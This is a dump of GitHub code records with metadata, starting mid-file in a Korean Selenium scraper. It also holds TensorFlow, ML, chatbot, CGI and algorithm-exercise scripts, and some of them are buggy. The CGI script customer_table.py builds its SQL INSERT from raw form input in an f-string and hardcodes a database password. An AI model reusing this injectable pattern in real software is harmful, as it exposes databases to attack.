  time.sleep(2)\n\n    # 새로운 탭이 열릴 때까지 대기 (예시: 2개 이상의 창이 열리고, 그 중 하나가 현재 탬과 다른 창일 때까지 대기)\n    wait = WebDriverWait(browser, 10)\n    new_tab_handle = wait.until(EC.new_window_is_opened)\n\n    # 모든 탬의 핸들 가져오기\n    all_tab_handles = browser.window_handles\n\n    # 새로운 탬의 핸들 찾아 선택하기\n    for handle in all_tab_handles:\n        if handle != main_window:\n            new_tab_handle = handle\n\n    # 새로운 탬으로 전환하기\n    browser.switch_to.window(new_tab_handle)\n\n    # 필요한 작업 수행 및 정보 가져오기 (예시: 페이지 제목 가져오기)\n    print(f\"새로운 탭 제목: {browser.title}\")   \n\n    try :\n        # 상품평 클릭\n        browser.find_element_by_css_selector('#prod-review-nav-link').send_keys(Keys.ENTER)\n\n        # 상품 댓글 \n        comment_length = len(browser.find_elements_by_css_selector('section.js_reviewArticleListContainer > article'))\n        print(f'comment_length : {comment_length}')\n    except :\n        pass\n\n    time.sleep(3)\n    # 다시 메인 창으로 전환\n    browser.switch_to.window(main_window)\n    time.sleep(2)\n\n\n# In[10]:\n\n\nproduct_list[0].click()\n\n\n# In[13]:\n\n\n#browser.find_element_by_css_selector('#btfTab > ul.tab-titles > li:nth-child(2)')\n\n\n# In[ ]:\n\n\n#browser.quitit()\n\n","repo_name":"yojulab/study_data_analytics","sub_path":"codes/gatheringdatas/seleniums/coupang_com_withoutDebugMode.py","file_name":"coupang_com_withoutDebugMode.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73889727092","text":"import numpy as np\nimport tensorflow as tf\n\n\ndef unflatten_nodes(graphs, nodes):\n\n  \n  _, _, counts = tf.unique_with_counts(indices[:,0])\n  num_elems = tf.shape(counts)[0]\n  init_array = tf.TensorArray(tf.int32, size=num_elems)\n  def loop_body(i, ta):\n    return i + 1, ta.write(i, tf.range(counts[i]))\n\n  _, result_array = tf.while_loop(\n    lambda i, ta: i < num_elems, loop_body, [0, init_array])\n\n  return tf.transpose(tf.concat([[indices[:, 0]], [result_array.concat()]], axis=0))\n\n\ng = [[1, 1, 1, 0], [0, 0, 1, 1]]\nv = [[1, 2, 3], [2,3,4], [3,4,5], [-4,-5,-6]]\n\nph1 = tf.placeholder(tf.int32, shape=[None, None])\nph2 = tf.placeholder(tf.float32, shape=[None, 3])\n\npadded_nodes = tf.concat([tf.zeros([1, tf.shape(ph2)[1]]), ph2], axis=0)\n\nzero = tf.constant(0, dtype=tf.int32, shape=[2, 4])\nindices = tf.cast(tf.where(tf.not_equal(ph1, zero)), tf.int32)\n\nshifted_indices = shift_indices(indices)\nmask = tf.sparse_to_dense(shifted_indices, [2, 3], indices[:, 1] + 1)\nstates = tf.nn.embedding_lookup(padded_nodes, mask, None)\n\nsess = tf.Session()\nprint(sess.run([states], feed_dict={ph1:g, ph2:v}))\n\n\"\"\"\ndef unflatten_nodes(graphs, all_nodes):\n    num_graphs = self.placeholders['num_graphs']\n\n    padded_nodes = tf.concat([tf.zeros([1, tf.shape(nodes)[1]]), nodes], axis=0) \n    zero = tf.constant(0, dtype=tf.int32, shape=[2, 4])\n    indices = tf.cast(tf.where(tf.not_equal(ph1, zero)), tf.int32) # indices of [g x v]\n    \n    _, _, counts = tf.unique_with_counts(indices[:,0])\n    num_elems = tf.shape(counts)[0]\n    init_array = tf.TensorArray(tf.int32, size=num_elems)\n\n    def loop_body(i, ta):\n        return i + 1, ta.write(i, tf.range(counts[i]))\n\n    _, result_array = tf.while_loop(\n        lambda i, ta: i < num_elems, loop_body, [0, init_array])\n\n    shifted_indices = \\                                          \n        tf.transpose(tf.concat([[indices[:, 0]], [result_array.concat()]], axis=0)) # indices of [g x max_v]\n\n    mask = tf.sparse_to_dense(shifted_indices, [num_graphs, self.max_num_vertices], indices[:, 1] + 1)\n    return tf.nn.embedding_lookup(padded_nodes, mask, None)\n\"\"\"","repo_name":"CoderPat/CAM-MPHIL-ACS","sub_path":"MPHIL-PROJECT/test_decoder.py","file_name":"test_decoder.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"30475034518","text":"import json\n\nPREFIX = '../data/'\nSUFFIX = '.json'\n\nsrc = 'clean/review_votes'\n\nwith open(PREFIX + src + SUFFIX) as file:\n    info = json.load(file)\n\ntypes = ['useful', 'cool', 'funny']\n\nfor t in types:\n    data = []\n    for i in info:\n        data.append(i[t])\n\n    data = sorted(data)\n\n    with open(PREFIX + 'clean/review_' + t + SUFFIX, 'w') as outfile:\n        json.dump(data, outfile)","repo_name":"rahrang/yelp-dataset-project","sub_path":"src/scripts/clean_review_review_votes.py","file_name":"clean_review_review_votes.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"36622211848","text":"### first ###\n### install PyMySQL ###\n### configure Apache by locating & updating httpd.conf ###\n### should be in the ScriptAlias for the cgi; on mac it's preset to /Library/WebServer/CGI-Executables/\n### change script's permissions in terminal:  sudo chmod 755 customer_table.py ###\n\n#!/usr/local/bin/python3    use the absolute path of python interpreter ###\nprint(\"Content-Type: text/html\")\nprint()\n\nimport pymysql\nimport cgi,cgitb\ncgitb.enable() #for debugging\nform = cgi.FieldStorage()\na = form.getvalue('first_name')\nb = form.getvalue('last_name')\nc = form.getvalue('cid')\nd = form.getvalue('customer_type')\ne = form.getvalue('DOB')\nf = form.getvalue('rewards')\nprint(\"Here is the updated Customers table:\")\n\n# Open connection to the database\ndb = pymysql.connect(\"localhost\",\"root\",\"password\",\"project_folder\",autocommit=True)\n\n# Start a cursor object using cursor() method\ncursor = db.cursor()\n\ninsert = f\"\"\"INSERT INTO Customers (first_name,last_name,cid,customer_type,DOB,rewards) VALUES\n('{a}','{b}','{c}','{d}','{e}','{f}')\"\"\"\ncursor.execute(insert)\n\nsql_ret = \"SELECT * FROM Customers;\"\ncursor.execute(sql_ret)\n\n# Fetch all the rows using fetchall() method.\ndata = cursor.fetchall()\nprint(data)\n\n# disconnect from server\ndb.close()\n","repo_name":"laurenredeker/Hotel-Database-Project","sub_path":"customer_table.py","file_name":"customer_table.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31920433387","text":"# import the necessary packages\r\nfrom playsound import playsound\r\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input\r\nfrom tensorflow.keras.preprocessing.image import img_to_array\r\nfrom tensorflow.keras.models import load_model\r\nfrom imutils.video import VideoStream\r\nimport numpy as np\r\nimport imutils\r\nimport time\r\nimport cv2\r\nimport tkinter\r\nfrom tkinter import messagebox\r\nimport smtplib\r\nimport os\r\nimport serial\r\n\r\narduino = serial.Serial(port='COM3', baudrate=115200, timeout=.1)\r\n\r\nard='0'\r\nsec=0\r\nyog=0\r\nemail_id = os.environ.get('email_user1')\r\nemail_passw = os.environ.get('email_pass1')\r\nemail_iddd = os.environ.get('email_user')\r\nfilename= 'video.avi'\r\nframes_per_seconds= 100.0\r\n\r\ndef write_read(x):\r\n    arduino.write(bytes(x,'utf-8'))\r\n    time.sleep(0.05)\r\ndef detect_and_predict_mask(frame, faceNet, maskNet):\r\n# grab the dimensions of the frame and then construct a blob\r\n# from it\r\n    (h, w) = frame.shape[:2]\r\n    blob = cv2.dnn.blobFromImage(frame, 1.0, (224, 224),(104.0, 177.0, 123.0)) #blob is used to detect the bright features from background\r\n    data = arduino.readline()\r\n    # pass the blob through the network and obtain the face detections\r\n    faceNet.setInput(blob)   # FaceNet is  a deep neural network used for extracting features from an image of a persons face\r\n    detections = faceNet.forward() #Runs a forward pass to compute the net output.\r\n    #print(detections.shape)\r\n\r\n    # initialize our list of faces, their corresponding locations,\r\n    # and the list of predictions from our face mask network\r\n    faces = []\r\n    locs = []\r\n    preds = []\r\n\r\n# loop over the detections\r\n    for i in range(0, detections.shape[2]):\r\n# extract the confidence (i.e., probability) associated with\r\n# the detection\r\n        confidence = detections[0, 0, i, 2]\r\n\r\n# filter out weak detections by ensuring the confidence is\r\n# greater than the minimum confidence\r\n        if confidence > 0.5:\r\n# compute the (x, y)-coordinates of the bounding box for\r\n# the object\r\n            box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\r\n            (startX, startY, endX, endY) = box.astype(\"int\")\r\n\r\n# ensure the bounding boxes fall within the dimensions of\r\n# the frame\r\n            (startX, startY) = (max(0, startX), max(0, startY))\r\n            (endX, endY) = (min(w - 1, endX), min(h - 1, endY))\r\n\r\n# extract the face ROI, convert it from BGR to RGB channel\r\n# ordering, resize it to 224x224, and preprocess it\r\n            face = frame[startY:endY, startX:endX]\r\n            face = cv2.cvtColor(face, cv2.COLOR_BGR2RGB)\r\n            face = cv2.resize(face, (224, 224))\r\n            face = img_to_array(face)\r\n            face = preprocess_input(face)\r\n\r\n# add the face and bounding boxes to their respective\r\n# lists\r\n            faces.append(face)\r\n            locs.append((startX, startY, endX, endY))\r\n\r\n# only make a predictions if at least one face was detected\r\n    if len(faces) > 0:\r\n# for faster inference we'll make batch predictions on all\r\n# faces at the same time rather than one-by-one predictions\r\n# in the above `for` loop\r\n        faces = np.array(faces, dtype=\"float32\")\r\n        preds = maskNet.predict(faces, batch_size=32)\r\n\r\n# return a 2-tuple of the face locations and their corresponding\r\n# locations\r\n    return (locs, preds)\r\n\r\n#print(email_id,email_passw)\r\n#print(email_iddd)\r\n# load our serialized face detector model from disk\r\nprototxtPath = r\"face_detector\\deploy.prototxt\"  #The .prototxt file(s) which define the model architecture (i.e., the layers themselves)\r\nweightsPath = r\"face_detector\\res10_300x300_ssd_iter_140000.caffemodel\" #The .caffemodel file which contains the weights for the actual layers\r\nfaceNet = cv2.dnn.readNet(prototxtPath, weightsPath)  #Both files are required when using models trained using Caffe for deep learning.\r\n\r\n# load the face mask detector model from disk\r\nmaskNet = load_model(\"mask_detector.model\")\r\n\r\n# initialize the video stream\r\nprint(\"[INFO] starting video stream...\")\r\nvs = VideoStream(src=0).start()\r\n\r\n#dims=get_dims(vs, res=my_res)\r\n#video_type_cv2=get_video_type(filename)\r\n#out = cv2.VideoWriter(filename, video_type_cv2, frames_per_seconds, dims)\r\n\r\n# loop over the frames from the video stream\r\nwhile True:\r\n# grab the frame from the threaded video stream and resize it\r\n# to have a maximum width of 400 pixels\r\n    yog+=1\r\n    frame = vs.read()\r\n    frame = imutils.resize(frame, width=700)\r\n#out.write(frame)\r\n# detect faces in the frame and determine if they are wearing a\r\n# face mask or not\r\n    (locs, preds) = detect_and_predict_mask(frame, faceNet, maskNet)\r\n\r\n# loop over the detected face locations and their corresponding\r\n# locations\r\n    for (box, pred) in zip(locs, preds):\r\n# unpack the bounding box and predictions\r\n        (startX, startY, endX, endY) = box\r\n        (mask, withoutMask) = pred\r\n# determine the class label and color we'll use to draw\r\n# the bounding box and text\r\n        label = \"Mask\" if mask > withoutMask else \"No Mask\"\r\n        if label==\"No Mask\" and (max(mask, withoutMask) * 100)>95:\r\n            ard=\"1\"\r\n            sec=sec+1\r\n            if sec>=25:\r\n                sec=0\r\n                print(\"Sending mail\")\r\n                with smtplib.SMTP('smtp.gmail.com',587) as smtp:\r\n                    smtp.ehlo()\r\n                    smtp.starttls()\r\n                    smtp.ehlo()\r\n                    smtp.login(email_id, email_passw)\r\n                    subject = 'Start Face Mask Surveillance'\r\n                    body = 'Please ensure that COVID protocols are being followed'\r\n                    msg= f'Subject: {subject}\\n\\n{body}'\r\n                    smtp.sendmail(email_id,email_iddd,msg)\r\n                print(\"mail sent successfully\")\r\n            playsound(\"C:/Mask Detection/CODE/Face-Mask-Detection-master/play.mp3\",False)\r\n        if label==\"Mask\" and (max(mask, withoutMask) * 100)>95:\r\n            ard=\"0\"\r\n        write_read(ard)\r\n        color = (0, 255, 0) if label == \"Mask\" else (0, 0, 255)\r\n# include the probability in the label\r\n        label = \"{}: {:.2f}%\".format(label, max(mask, withoutMask) * 100)\r\n#print(yog,max(mask, withoutMask) * 100,end=\" \" )\r\n#print()\r\n# display the label and bounding box rectangle on the output\r\n# frame\r\n        cv2.putText(frame, label, (startX, startY - 10),cv2.FONT_HERSHEY_SIMPLEX, 0.45, color, 2)\r\n        cv2.rectangle(frame, (startX, startY), (endX, endY), color, 2)\r\n                # show the output frame\r\n    cv2.imshow(\"Frame\", frame)\r\n    key = cv2.waitKey(1) & 0xFF\r\n# if the `q` key was pressed, break from the loop\r\n    if key == ord(\"q\"):\r\n        break\r\n\r\n# do a bit of cleanup\r\n#cv2.release()\r\n#out.release()\r\nprint(yog)\r\ncv2.destroyAllWindows()\r\nvs.stop()\r\n","repo_name":"yogitha193/Face-Mask-DoorLock","sub_path":"detect_mask_video.py","file_name":"detect_mask_video.py","file_ext":"py","file_size_in_byte":6723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26850652347","text":"from ctypes import *\nimport numpy as np\nimport tensorflow as tf\nimport os\n\nimport glob\n\nmydll = cdll.LoadLibrary(\"/home/xuan/PycharmProjects/LearnTensorFlow/libexportXLF.so\")\n\nexportXLFData = mydll.exportXLFData\n\nlength = 2048*2048*6\n\nallData = (c_double*length)()\n\ntotal_data = np.ndarray(shape=(100, 2048, 2048, 6), dtype=np.float64)\n\n\npath = \"./data\"\n\nfiles = os.listdir(path)\n\nfor file in files:\n    if file.endswith(\"xlf\"):\n        exportXLFData(\"./a.xlf\", allData)\n        pydata = np.ctypeslib.as_array(allData)\n        readabledata = pydata.reshape((2048, 2048, 6))","repo_name":"lonelyeagle/LearnTensorFlow","sub_path":"dponxlf.py","file_name":"dponxlf.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8910899687","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport csv as csv \nfrom sklearn import svm\nimport warnings \nfrom argparse import ArgumentParser\nfrom path import Path\nfrom collections import defaultdict\nimport pandas as pd\nimport os,glob\nfrom pandas import *\nfrom math import *\nfrom scipy.fftpack import fft\nfrom numpy import mean, sqrt, square\ndef compute_power_spectrum_backup(series, fs = 100.0):\n    n = len(series) # length of the signal\n    k = arange(n)\n    T = n/fs\n    frq = k/T # two sides frequency range\n    frq = frq[range(n/2)] # one side frequency range\n    Y = scipy.fft(series.values)/n # fft computing and normalization\n    Y = Y[range(n/2)]\n    #     Y[:2] = 0\n    Y = abs(Y)\n    return Y\n\n# In[17]:\ndef compute_power_spectrum(series, frequency = 100):\n\n    ps = np.abs(np.fft.fft(series))**2\n    freqs = np.fft.fftfreq(series.size, 1/frequency)\n    idx = np.argsort(freqs)\n    idx = idx[len(idx)/2:]\n\n#     plt.plot(freqs[idx], ps[idx])\n\n    return ps[len(ps)/2:]\n\n\ndef get_columns(df, except_columns):\n    return [col for col in df.columns if col not in except_columns]\n\ndef filter_df(df, key_value_pairs, operation='equal', return_complement=False):\n    for key in key_value_pairs:\n        print('start filter:',key)\n        if operation=='equal':\n            selection = df[key] == key_value_pairs[key]\n            \n        elif operation=='not_equal':\n            selection = df[key] != key_value_pairs[key]\n            \n        elif operation=='in':\n            selection = df[key].isin(key_value_pairs[key])\n            \n        elif operation=='not_in':\n            selection = df[key].notin(key_value_pairs[key])\n    \n    selected = df[selection]\n    print('filter complete:',selected)\n    if not return_complement:\n        return selected\n    else:\n        complement = df[selection==False]\n        return selected, complement\n        \ndef get_items_from_list(l, indexes):\n    items = itemgetter(*indexes)(l)\n    \n    if type(items) == tuple:\n        items = list(items)\n    else:\n        items = [items]\n    \n    return items\n\ndef get_features_and_labels_for_scikitlearn(df):\n    df = df.dropna()\n    \n    feature_columns = get_columns(df, ['User','activity'])\n    features = df.ix[:,feature_columns] #make sure to select columns\n    labels = df['activity']\n    return features, labels\ndef leave_one_person_out_cv(classifiers, features_and_labels):\n    results = []\n    \n    user_ids = features_and_labels['User'].value_counts().index.values\n    \n    for i in range(len(user_ids)):\n\n        \n        testing_user = user_ids[i] \n        print (\"testing_user: \", testing_user)\n        \n        testing_features_and_labels, training_features_and_labels = filter_df(features_and_labels, {'user': testing_user}, return_complement=True)\n        \n        training_features, training_labels = get_features_and_labels_for_scikitlearn(training_features_and_labels)\n        testing_features, testing_labels = get_features_and_labels_for_scikitlearn(testing_features_and_labels)\n        \n        \n        if training_features.shape[1] == 1: #handle MIL bags instead of traditional features\n            training_features = [x[0] for x in training_features.values]\n            testing_features = [x[0] for x in testing_features.values]\n\n        \n        for algorithm, classifier in classifiers.items(): \n            \n            print (algorithm)\n            \n            classifier.fit(training_features, training_labels)\n            predictions = classifier.predict(testing_features)\n\n            results.append(pd.DataFrame({\n                'prediction_score': predictions,\n                'prediction': np.sign(predictions),\n                'reference': testing_labels,\n                'user': testing_user,\n                'algorithm': algorithm,\n            }))\n\n    return pd.concat(results)\n\n# In[7]:\n\ndef compute_true_positive(df, label, reference_column = 'reference', prediction_column = 'prediction'):\n    temp = df[df[reference_column] == df[prediction_column]]\n    temp = temp[temp[prediction_column] == label]\n    return float(len(temp))\n\ndef compute_false_positive(df, label, reference_column = 'reference', prediction_column = 'prediction'):\n    temp = df[df[reference_column] != df[prediction_column]]\n    temp = temp[temp[prediction_column] == label]\n    return float(len(temp))\n\ndef compute_false_negative(df, label, reference_column = 'reference', prediction_column = 'prediction'):\n    temp = df[df[reference_column] != df[prediction_column]]\n    temp = temp[temp[reference_column] == label]\n    return float(len(temp))\n\n\ndef compute_precision_for_label(df, label, reference_column = 'reference', prediction_column = 'prediction'):\n    tp = compute_true_positive(df, label, reference_column, prediction_column)\n    fp = compute_false_positive(df, label, reference_column, prediction_column)\n    \n    if tp + fp == 0:\n        return 0\n    \n    return tp / (tp + fp)\n\ndef compute_recall_for_label(df, label, reference_column = 'reference', prediction_column = 'prediction'):\n    tp = compute_true_positive(df, label, reference_column, prediction_column)\n    fn = compute_false_negative(df, label, reference_column, prediction_column)\n    \n    if tp + fn == 0:\n        return 0\n    \n    return tp / (tp + fn)\n\ndef compute_accuracy(df, reference_column = 'reference', prediction_column = 'prediction'):\n    correct_prediction = df[df[reference_column] == df[prediction_column]]    \n    accuracy = len(correct_prediction) / float(len(df))\n    return accuracy\n\n\ndef get_confusion_matrix(df, reference_column = 'reference', prediction_column = 'prediction'):\n\n    all_labels = Set(df[reference_column].values.tolist()) | Set(df[prediction_column].values.tolist()) \n    name_to_id_mapping = list(all_labels)\n    \n    prediction_ids = df[prediction_column].map(lambda x: name_to_id_mapping.index(x))\n    reference_ids = df[reference_column].map(lambda x: name_to_id_mapping.index(x))\n    \n    cm = confusion_matrix(reference_ids, prediction_ids)\n    \n    confusion_matrix_df = pd.DataFrame(cm, columns = name_to_id_mapping, index = [\"reference_\" + str(x) for x in name_to_id_mapping])\n    return confusion_matrix_df\n\ndef computing_result_metrics(df):\n    precision = compute_precision_for_label(df, 1)\n    recall = compute_recall_for_label(df, 1)\n\n    f1 = 2 * precision * recall / (precision + recall)\n\n    accuracy = compute_accuracy(df)\n\n    return pd.Series({\n            'precision': precision,\n            'recall': recall,\n            'f1': f1,\n            'accuracy': accuracy,\n            })\ndef plot_labels_over_time(series, figsize=(15, 5)):\n    \n    figure(figsize=figsize)\n    fig, ax = plt.subplots()\n    \n\n    #normalize the y tick labels (make it start from 0)\n    id_to_label_mapping = sorted(series.value_counts().index.tolist())\n    series = series.map(lambda x: id_to_label_mapping.index(x))\n\n    #plot the occurances\n    plt.plot(series.index, series.values, 'o')\n    \n    #add y labels\n    plt.yticks(np.arange(min(series.values)-1, max(series.values)+2, 1.0))\n    \n    labels = []\n    for i in range(0, len(id_to_label_mapping)):\n        labels.append(label_legend_df['Label name'].ix[id_to_label_mapping[i]])\n    \n    labels.insert(0, '') \n    ax.set_yticklabels(labels)\n    ","repo_name":"Lilywu96/activity_recognition_repo","sub_path":"process_tool.py","file_name":"process_tool.py","file_ext":"py","file_size_in_byte":7233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"37926127385","text":"import logging\n\nfrom aiter import map_aiter, parallel_map_aiter\n\nfrom ..utils.cbor_messages import reader_to_cbor_stream, xform_to_cbor_message\nfrom ..utils.event_stream import rws_to_event_aiter\n\nlog = logging.getLogger(__name__)\n\n\nasync def event_to_response(event):\n    return event[\"message\"]\n\n\nasync def api_server(rws_aiter, api, workers=1):\n    \"\"\"\n    An rws_aiter is an aiter which streams a (StreamReader, StreamWriter, SocketServer) tuples.\n    For a given rws_aiter, create a task which fetches messages from the StreamReader, parses them,\n    and turns them into api calls on api.\n\n    You can wait forever on this task. If you close the socket, once all connected clients drop off, the\n    task will complete.\n    \"\"\"\n    event_aiter = rws_to_event_aiter(rws_aiter, reader_to_cbor_stream)\n\n    response_writer_for_event = make_response_map_for_api(api)\n\n    if workers > 1:\n        response_writer_aiter = parallel_map_aiter(response_writer_for_event, workers, event_aiter)\n    else:\n        response_writer_aiter = map_aiter(response_writer_for_event, event_aiter)\n\n    def to_cbor(response_writer_pair):\n        response, writer = response_writer_pair\n        try:\n            msg = xform_to_cbor_message(response)\n        except Exception as ex:\n            msg = xform_to_cbor_message(\"problem streaming message: %s\" % ex)\n        return writer, msg\n\n    cbor_msg_aiter = map_aiter(to_cbor, response_writer_aiter)\n\n    async for writer, cbor_msg in cbor_msg_aiter:\n        writer.write(cbor_msg)\n\n\ndef make_response_map_for_api(api):\n    \"\"\"\n    This is intended to be used with map_aiter. It takes a message, parses it,\n    invokes \"do_XXX\" on the given API, then packs up the response and sends it\n    back to the remote.\n    \"\"\"\n\n    async def response_for_message(message):\n        try:\n            # {\"c\": \"command\"}\n            c = message.get(\"c\")\n            nonce = message.get(\"n\")\n            f = getattr(api, \"do_%s\" % c, None)\n            if f:\n                args = message.get(\"q\", {})\n                r = await f(**args)\n                log.debug(\"handled %s message\" % c)\n                d = dict(r=r)\n            else:\n                d = dict(e=\"Missing or invalid command: %s\" % c)\n                log.error(\"failure in %s message\" % c)\n        except Exception as ex:\n            log.exception(\"failure in %s message\" % c)\n            d = dict(e=\"exception: %s\" % ex)\n        if nonce is None:\n            return None\n        d[\"n\"] = nonce\n        return d\n\n    async def response_writer_for_event(event):\n        message = event[\"message\"]\n        response = await response_for_message(message)\n        return response, event[\"writer\"]\n\n    return response_writer_for_event\n\n\n\"\"\"\nCopyright 2019 Chia Network Inc\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n   http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n","repo_name":"Chia-Network/ledger_sim","sub_path":"chiasim/remote/api_server.py","file_name":"api_server.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"17670239267","text":"\"\"\"Unit tests for Notional util methods.\"\"\"\n\nfrom uuid import UUID, uuid4\n\nfrom notional import util\n\n\ndef test_notion_id_regex():\n    \"\"\"Make sure we can parse UUID's with and without dashes.\"\"\"\n\n    id = uuid4()\n\n    short_uuid = id.hex\n    m = util.uuid_re.match(short_uuid)\n\n    assert m is not None\n    assert UUID(m.string) == id\n\n    long_uuid = str(id)\n    m = util.uuid_re.match(long_uuid)\n\n    assert m is not None\n    assert UUID(m.string) == id\n","repo_name":"jheddings/notional","sub_path":"tests/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"21"}
+{"seq_id":"19506139961","text":"class KakaoTemplate:\n    def __init__(self):\n        self.version = \"2.0\"\n\n    def simpleTextComponent(self,text): #텍스트만 출력하기\n        return {\n            \"simpleText\": {\"text\": text}\n        }\n\n    def simpleImageComponent(self,imageUrl,altText): #이미지만 출력하기\n        return{\n            \"simpleImage\": {\"imageUrl\": imageUrl, \"altText\": altText}\n        }\n\n    def send_response(self,bot_resp): #사용자에게 응답 스킬 전송하기\n        responseBody = {\n            \"version\": self.version,\n            \"template\":{\n                \"outputs\": []\n            }\n        }\n\n        #이미지 답변이 있는 경우 이미지 답변이 텍스트 보다 먼저 출력하도록 함\n\n        if bot_resp['AnswerImageUrl'] is not None:\n            responseBody['template']['outputs'].append(\n                self.simpleImageComponent(bot_resp['AnswerImageUrl'],'')\n            )\n\n        #텍스트 답변이 있다면\n        if bot_resp['Answer'] is not None:\n            responseBody['template']['outputs'].append(\n                self.simpleTextComponent(bot_resp['Answer'])\n            )\n\n        return responseBody","repo_name":"4020507/chatbot-consultant","sub_path":"Tensorflow/FLASK_API/chatbot_api/KaKaoTemplate.py","file_name":"KaKaoTemplate.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"28981662363","text":"import numpy as np\nfrom rlenv.envs.cliff_walking import CliffWalkingEnv\n\nenv = CliffWalkingEnv()\n\nprint ('Env: CliffWalking')\nprint ('Observation space: {}'.format(env.observation_space.n))\nprint ('Action space: {}'.format(env.action_space.n))\n\nstate = env.reset()\n\nprint ('Random Policy')\ntotal_reward = 0\nfor _ in range(20):\n    action = np.random.randint(4)\n    next_state, reward, done, _ = env.step(action)\n    print ('St: {}, At: {}, R: {}, St+1: {}'.format(state, action, reward, next_state))\n    state = next_state\n    total_reward += reward\n    if (done):\n        print ('Done. Total reward = {}'.format(total_reward))\n        break\n","repo_name":"kvzhao/tensorflow-practices","sub_path":"test_rlenv.py","file_name":"test_rlenv.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"28984355053","text":"import random\n\n# partition implementation\n# ref: https://www.cs.auckland.ac.nz/software/AlgAnim/qsort1a.html \ndef partition(nlist, lo, hi):\n  pivot_index = random.randint(lo,hi)  \n  pivot = nlist[pivot_index]\n  left = lo\n  right = hi\n  while left < right:\n    while nlist[left] <= pivot:\n      if left < len(nlist) - 1:\n        left += 1\n      else:\n        break;\n    while nlist[right] > pivot:\n      right -= 1\n    \n    if left < right:\n      tmp = nlist[left]\n      nlist[left] = nlist[right]\n      nlist[right] = tmp\n  \n  # right reprsents the new pivot to be used\n  if pivot_index != right:\n    nlist[pivot_index] = nlist[right]\n    nlist[right] = pivot\n\n  return right\n\ndef quicksort(nlist, lo, hi):\n  if lo < hi:\n    #print(p)\n\n    # iterative quick sort\n      \n    # recursive quick sort\n    p = partition(nlist, lo, hi)\n    quicksort(nlist, lo, p-1)\n    quicksort(nlist, p+1, hi)\n\ndef main():\n\n  try:\n    f = open(\"numbers.dat\",\"r\")\n  except(IOError):\n    print(\"file does not exist\")\n    return -1\n  \n  # list comprehension to read the numbers in a list\n  num_list = [int(num) for num in f]\n\n  random.shuffle(num_list)\n\n  print(\"Unsorted list\")\n  print(num_list)\n\n  quicksort(num_list, 0, len(num_list) - 1)\n\n  print(\"sorted list\")\n  print(num_list)  \n\nif __name__ == '__main__':\n  main()\n","repo_name":"ashishkamra/pythonpractice","sub_path":"quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"1974180548","text":"# https://leetcode.com/problems/best-time-to-buy-and-sell-stock/\n\nclass Solution:\n    def maxProfit(self, prices: List[int]) -> int:\n        max_profit = 0\n        for buy_day in range(0, len(prices) - 1):\n            for sell_day in range(buy_day + 1, len(prices)):\n                if prices[sell_day] - prices[buy_day] > max_profit:\n                    max_profit = prices[sell_day] - prices[buy_day]\n        return max_profit","repo_name":"syongtudy/cote","sub_path":"woowoong/ex02.py","file_name":"ex02.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24440100304","text":"import bisect as b\n\nN = int(input())\nA = list(map(int, input().split()))\n\nlis = A[:1]\nfor i in range(1, N):\n    a = A[i]\n    if a > lis[-1]:\n        lis.append(a)\n    else:    \n        index = b.bisect_left(lis, a)\n        lis[index] = a\n\nprint(len(lis))","repo_name":"bassyu/ps","sub_path":"BOJ/12015.py","file_name":"12015.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31983503127","text":"class Synapse:\n    @classmethod\n    def parse(cls, line):\n        chunks = line.split()\n        pre_neuron = int(chunks[0])\n        post_neuron = int(chunks[1])\n        weight = float(chunks[2])\n        learning_rate = float(chunks[3])\n        return cls(pre_neuron, post_neuron, weight, learning_rate)\n\n    def __init__(self, pre_neuron, post_neuron, weight, learning_rate):\n        self.pre_neuron = pre_neuron\n        self.post_neuron = post_neuron\n        self.weight = weight\n        self.learning_rate = learning_rate\n","repo_name":"smailliwcs/pwscripts","sub_path":"python/polyworld/synapse.py","file_name":"synapse.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
